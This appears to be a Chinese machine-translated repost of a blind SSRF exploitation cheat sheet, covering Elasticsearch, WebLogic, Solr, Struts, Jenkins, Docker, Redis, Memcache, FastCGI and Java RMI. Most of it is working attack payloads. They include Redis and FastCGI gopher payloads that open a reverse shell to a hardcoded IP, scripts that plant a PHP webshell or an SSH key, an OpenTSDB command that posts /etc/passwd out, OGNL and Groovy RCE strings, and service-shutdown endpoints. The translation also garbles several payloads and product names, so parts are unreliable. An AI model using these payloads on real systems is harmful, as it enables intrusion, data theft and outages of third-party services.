一聚教程网:一个值得你收藏的教程网站

最新下载

热门教程

blind-ssrf-chains:实践指南

时间:2026-09-11 14:50:01 编辑:袖梨 来源:一聚教程网

在项目中评估blind-ssrf-chains,可以先看清用途边界:链接 Blind SSRF 漏洞的所有可能方法的详尽列表。实际做安全分析时,经常会碰到授权边界、证据完整性和误报需要同时控制,所以功能列表并不能代替验证。短测时我会在明确授权的样例或离线靶场中验证,并保留输入边界、证据链、误报率和安全中止机制的结果,方便团队复盘。它对具备授权环境和复核能力的安全人员更有价值,但正式采用前仍要复查许可证、近期提交和问题区回应。

简介

什么是服务器端请求伪造(SSRF)?

当您可以强制服务器代表您发出任意请求时,就会发生服务器端请求伪造。当服务器发出请求时,由于服务器在网络中的位置,有可能访问内部资源。在云环境中,由于 元数据端点 的存在可能包含敏感凭证或机密,SSRF 会带来更大的风险。

盲板 SSRF

当利用服务器端请求伪造时,我们经常会发现自己处于无法读取响应的境地。在业界,这种行为通常被称为“Blind SSRF”。在这种情况下,我们如何证明影响力?这是贾斯汀·加德纳 (Justin Gardner) 在 T@witter 上引发的有趣讨论:

如果您可以访问内部资源,则可以执行许多潜在的漏洞利用链来证明影响。这篇博文试图详细介绍利用盲注 SSRF 时每个已知的漏洞利用链,并将随着更多技术的发现和共享而更新。

如果我们遗漏了任何技术,请向我们发送推文或 DM:@assetnote,我们会将其添加到此博客。

SSRF 金丝雀

当在内部将盲 SSRF 链接到另一个 SSRF(在外部进行额外调用)或通过特定于应用程序的开放 redir 或盲 XXE 时,

为了验证您是否可以与内部服务或应用程序交互,您可以使用“SSRF canary”。

这时我们可以请求一个内部 URL 来执行另一个 SSRF 并调用您的金丝雀主机。如果您收到对金丝雀主机的请求,则意味着您已成功访问也能够发出出站请求的内部服务。

这是验证 SSRF 漏洞是否可以访问内部网络或应用程序以及验证内部网络上是否存在某些软件的有效方法。您还可以使用 SSRF 金丝雀转向内部网络中更敏感的部分,具体取决于它所在的位置。

使用 DNS 数据源和 AltDNS 查找内部主机

为了找到尽可能多的内部主机,可以利用 DNS 数据源来查找指向内部主机的所有记录。

在云环境中,我们经常看到 ELBs 指向内部 VPC 内的主机。根据您的目标资产所在的 VPC,可能可以访问同一 VPC 中的其他主机。

例如,考虑已从 DNS 数据源发现以下主机:

livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

您可以假设es代表Elasticsearch,然后对该主机进行进一步的攻击。您还可以将所有这些盲 SSRF 有效负载喷射到通过此方法识别的所有“内部”主机上。这往往是有效的。

要找到更多内部主机,我建议获取所有 DNS 数据,然后使用 AltDNS 之类的东西来生成排列,然后使用 快速 DNS 暴力破解器来解析它们。

完成后,识别所有新发现的内部主机并将它们用作 SSRF 盲链的一部分。

侧通道泄漏

当利用 SSRF 盲漏洞时,您可能会泄露有关返回响应的一些信息。例如,假设您通过 XXE 有盲区 SSRF,错误消息可能指示是否:

  • 已返回回复

Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.

  • 主机和端口不可达

Error parsing request: System.Net.WebException: Unable to connect to the remote server

同样,在 XXEs 之外,Web 应用程序也可能存在侧通道泄漏,可以通过检查以下方面的差异来确定:

  • 响应状态码

在线内部资产:端口响应 200 OK 与离线内部资产:端口 500 Internal Server Error

  • 回复内容

响应大小(以字节为单位)较小或较大,具体取决于您尝试请求的 URL 是否可达。

  • 响应时间

响应时间更慢或更快取决于您尝试请求的 URL 是否可达。

技巧

可通过 HTTP

  • Elasticsearch
  • Weblogic
  • Hashicorp 领事
  • 弹震
  • 阿帕奇德鲁伊
  • Apache Solr
  • PeopleSoft
  • Apache Struts
  • JBoss
  • 汇合
  • 吉拉
  • 其他 Atlassian 产品
  • OpenTSDB
  • 詹金斯
  • Hystrix 仪表板
  • W3 总缓存
  • Docker
  • Gitlab Prometheus Redis 导出器

可通过 Gopher

  • Redis
  • 内存缓存
  • Apache Tomcat
  • FastCGI
  • Java RMI

工具

  • 地鼠
  • 远程方法猜测器
  • SSRF 代理

可通过 HTTP

弹性搜索

常用绑定端口:9200

当Elasticsearch内部部署时,通常不需要身份验证。

如果您有部分盲 SSRF,您可以在其中确定状态代码,请检查以下端点是否返回 200:

/_cluster/health
/_cat/indices
/_cat/health

如果您有一个可以发送 POST 请求的盲区 SSRF,则可以通过向以下路径发送 POST 请求来关闭 Elasticsearch 实例:

注意:_shutdown API 已从 Elasticsearch 版本 2.x 中删除。及以上。这仅适用于 Elasticsearch 1.6 及以下版本:

/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

网络逻辑

常用绑定端口:80、443(SSL)、7001、8888

SSRF 金丝雀:UDDI 浏览器 (CVE-2014-4210)

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

这也可以通过 GET 运行:

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

此端点也容易受到 CRLF 注入的攻击:

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
用户代理:Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如 Gecko)Chrome/81.0.4044.138 Safari/537.36
Connection: close

将导致以下请求:

root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRF 金丝雀:CVE-2020-14883

取自 这里。

Linux:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

窗户:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp领事

常用绑定端口:8500、8501(SSL)

可以在此处找到 here。

炮弹休克

常用绑定端口:80、443(SSL)、8080

为了有效地测试 Shellshock,您可能需要添加包含有效负载的标头。以下 CGI 路径值得尝试:

要测试的 CGI 路径的简短列表:

包含路径 的要点。

SSRF Canary:通过用户代理进行 Shellshock

用户代理:() { foo;}; echo 内容类型:text/plain ;回声;  卷曲 SSRF_CANARY

阿帕奇德鲁伊

常用绑定端口:80、8080、8888、8082

请参阅此处 的 Apache Druid [的 API 参考。

如果您可以查看状态代码,请检查以下路径以查看它们是否返回 200 状态代码:

/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

关闭任务,需要您猜测任务 IDs 或数据源名称:

/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

关闭 Apache Druid Overlords 上的主管:

/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

阿帕奇·索尔

常用绑定端口:8983

SSRF Canary:分片参数

取自 这里。

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF 金丝雀:Solr XXE (2017)

Apache Solr 7.0.1 XXE(Packetstorm)

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'>"}

RCE 通过 dataImportHandler

通过 dataImportHandler 对 RCE 进行研究

PeopleSoft

常用绑定端口:80,443 (SSL)

取自本研究 ,此处为。

SSRF 金丝雀:XXE #1

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

SSRF Canary: XXE #2

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

Taken from here.

SSRF 金丝雀:Struts2-016

将其附加到您知道的每个内部 endpoint/URL 的末尾:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

常用绑定端口:80,443 (SSL),8080,8443 (SSL)

取自 这里。

SSRF 金丝雀:从 URL 部署 WAR

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

汇合

常用绑定端口:80,443 (SSL),8080,8443 (SSL)

SSRF Canary:共享链接(2016 年 11 月及更早版本发布的 Confluence 版本)

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF 金丝雀:iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Atlassian 安全票 OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

吉拉

常用绑定端口:80,443 (SSL),8080,8443 (SSL)

SSRF 金丝雀:iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

Atlassian 安全票 OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF 金丝雀:makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Atlassian 安全票 JRASERVER-69793

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]

其他 Atlassian 产品

常用绑定端口:80,443 (SSL),8080,8443 (SSL)

SSRF 金丝雀:iconUriServlet (CVE-2017-9506)

  • 竹子 < 6.0.0
  • 位桶 < 4.14.4
  • 人群<2.11.2
  • 坩埚<4.3.2
  • 鱼眼 < 4.3.2

Atlassian 安全票 OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

常用绑定端口:4242

OpenTSDB 远程代码执行

SSRF Canary:通过 RCE 卷曲

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

OpenTSDB 2.4.0 远程代码执行

SSRF 金丝雀:通过 RCE 卷曲 - CVE-2020-35476

/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

詹金斯

常用绑定端口:80,443(SSL),8080,8888

这里写得很好 here。

SSRF 金丝雀:CVE-2018-1000600

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE

按照此处的说明通过 GET 实现 RCE:黑客 Jenkins 第 2 部分 - 滥用元编程进行未经身份验证的 RCE!

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

RCE 通过 Groovy

cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Hystrix 仪表板

常用绑定端口:80,443(SSL),8080

Spring Cloud Netflix,2.2.4 之前的版本 2.2.x,2.1.6 之前的版本 2.1.x。

SSRF 金丝雀:CVE-2020-5412

/proxy.stream?origin=http://SSRF_CANARY/

W3 总缓存

常用绑定端口:80,443 (SSL)

W3 总缓存 0.9.2.6-0.9.3

SSRF 金丝雀:CVE-2019-6715

这需要是 PUT 请求:

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
用户代理:Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.36(KHTML,如 Gecko)Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

SSRF 金丝雀

此漏洞的通报发布于此处:W3 总缓存 SSRF 漏洞

此 PHP 代码将为您的 SSRF Canary 主机生成有效负载(将 url 替换为您的 Canary 主机):

<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

码头工人

常用绑定端口:2375、2376 (SSL)

如果你有部分盲SSRF,可以使用以下路径来验证Docker的API是否存在:

/containers/json
/secrets
/services

RCE 通过运行任意 docker 镜像

POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

将 alpine 替换为您希望 docker 容器运行的任意镜像。

Gitlab Prometheus Redis 导出器

常用绑定端口:9121

该漏洞影响13.1.1版本之前的Gitlab实例。根据Gitlab文档 Prometheus and its exporters are on by default, starting with GitLab 9.0.

这些导出器为攻击者提供了一种利用 CVE-2020-13379 来攻击其他服务的绝佳方法。 Redis Exporter 是很容易被利用的导出器之一。

以下端点将允许攻击者转储通过目标参数提供的 Redis 服务器中的所有密钥:

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

可通过 Gopher

雷迪斯

常用绑定端口:6379

推荐阅读:

  • 尝试通过 HTTP 请求攻击 Redis
  • SSRF 针对 Redis 的攻击

RCE 通过 Cron - Gopher 攻击面

redis-cli -h $1 flushall
echo -e "nn*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1nn"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

地鼠:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d% 0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adb文件名%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

RCE 通过 Shell 上传 (PHP) - Redis Getshell 摘要

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="nn<?php phpinfo();?>nn"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="rn"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

RCE 通过授权密钥 - Redis Getshell 摘要

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="nn<?php eval($_GET["cmd"]);?>nn"
sshpublic_key = "nnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kalinn"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
     "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="rn"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

RCE 通过 Git 协议在 GitLab 上

来自 Liveoverflow 的精彩文章。

虽然这需要对 GitLab 进行身份验证才能利用,但我在此处包含了有效负载,因为 git 协议可能适用于您正在攻击的目标。此负载仅供参考。

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

内存缓存

常用绑定端口:11211

  • vBulletin 内存缓存 RCE
  • GitHub 企业级内存缓存 RCE
  • Memcache 的 Gopher 负载示例
地鼠://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"输出";a:1:{s:4:"preg";a:2:{s:6:"搜索";s:5:"/.*/e";s:7:"代表花边";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"重写状态";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

阿帕奇雄猫

常用绑定端口:80,443 (SSL),8080,8443 (SSL)

仅对 Tomcat 6 有效:

gopher-tomcat-部署器

使用此技术的 CTF 写入:

从 XXE 到 RCE:Pwn2Win CTF 2018 写作

FastCGI

常用绑定端口:80,443 (SSL)

这是取自 这里的。

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%0 0%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0 .0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode %20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//输入%0F%13SCRIPT_FILENAME/var/w ww/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C %3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261% 27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

常用绑定端口:1090,1098,1099,1199,4443-4446,8999-9010,9999

允许任意字节(基于 gopher)的盲 SSRF 漏洞可用于执行反序列化或 针对 Java RMI 默认组件(RMI 注册表分布式垃圾收集器激活系统)的代码库攻击。 详细的文章可以在这里找到 here。以下列表 显示了有效负载生成的示例:

$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]

工具

地鼠属

  • Gopherus - Github
  • Gopherus 上的博客文章

该工具生成 Gopher 有效负载用于:

  • MySQL
  • PostgreSQL
  • FastCGI
  • 雷迪斯
  • 扎比克斯
  • 内存缓存

远程方法猜测器

  • 远程方法猜测器 - Github
  • 关于 SSRF 用法的博客文章

remote-method-guesser 是一个 Java RMI 漏洞扫描器,支持最常见的 Java RMI 攻击操作 漏洞。大多数可用操作都支持“--ssrf”选项,以生成 SSRF 有效负载 请求的操作。与“--gopher”选项一起,可以直接生成可供使用的 gopher 有效负载。

SSRF 代理

  • SSRF 代理

SSRF 代理是一个多线程 HTTP 代哩服务務器,旨在通过易受服务器端请求伪造 (SSRF) 攻击的 HTTP 服务器来隧道客户端 HTTP 流量。

学分:

感谢以下人员对本文做出的贡献:

  • @Rhynorater - 对本博客文章 的大量贡献
  • @nnwakelam - Solr 碎片 SSRF
  • @marcioalm - Tomcat 6 Gopher RCE
  • @vtnahira - OpenTSDB RCE
  • @fransrosen - SSRF 金丝雀概念
  • @theabrahack - RCE 通过 Jenkins Groovy
  • @qtc_de - RCE 通过 Java RMI

热门栏目